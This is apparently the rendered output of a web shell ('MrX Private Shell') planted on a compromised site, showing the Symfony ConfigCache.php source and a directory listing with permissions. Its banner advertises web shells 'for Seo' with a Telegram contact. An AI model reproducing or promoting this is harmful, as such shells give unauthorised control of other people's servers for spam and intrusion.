__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Config; use Symfony\Component\Config\Resource\SelfCheckingResourceChecker; /** * ConfigCache caches arbitrary content in files on disk. * * When in debug mode, those metadata resources that implement * \Symfony\Component\Config\Resource\SelfCheckingResourceInterface will * be used to check cache freshness. * * @author Fabien Potencier <[email protected]> * @author Matthias Pigulla <[email protected]> */ class ConfigCache extends ResourceCheckerConfigCache { private bool $debug; /** * @param string $file The absolute cache path * @param bool $debug Whether debugging is enabled or not */ public function __construct(string $file, bool $debug) { $this->debug = $debug; $checkers = []; if (true === $this->debug) { $checkers = [new SelfCheckingResourceChecker()]; } parent::__construct($file, $checkers); } /** * Checks if the cache is still fresh. * * This implementation always returns true when debug is off and the * cache file exists. */ public function isFresh(): bool { if (!$this->debug && is_file($this->getPath())) { return true; } return parent::isFresh(); } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Builder | Folder | 0755 |
|
|
| Definition | Folder | 0755 |
|
|
| Exception | Folder | 0755 |
|
|
| Loader | Folder | 0755 |
|
|
| Resource | Folder | 0755 |
|
|
| Util | Folder | 0755 |
|
|
| ConfigCache.php | File | 1.49 KB | 0644 |
|
| ConfigCacheFactory.php | File | 1.07 KB | 0644 |
|
| ConfigCacheFactoryInterface.php | File | 937 B | 0644 |
|
| ConfigCacheInterface.php | File | 1.24 KB | 0644 |
|
| FileLocator.php | File | 2.68 KB | 0644 |
|
| FileLocatorInterface.php | File | 1.1 KB | 0644 |
|
| ResourceCheckerConfigCache.php | File | 5.49 KB | 0644 |
|
| ResourceCheckerConfigCacheFactory.php | File | 1.04 KB | 0644 |
|
| ResourceCheckerInterface.php | File | 1.2 KB | 0644 |
|
| autoload.php | File | 10.71 KB | 0644 |
|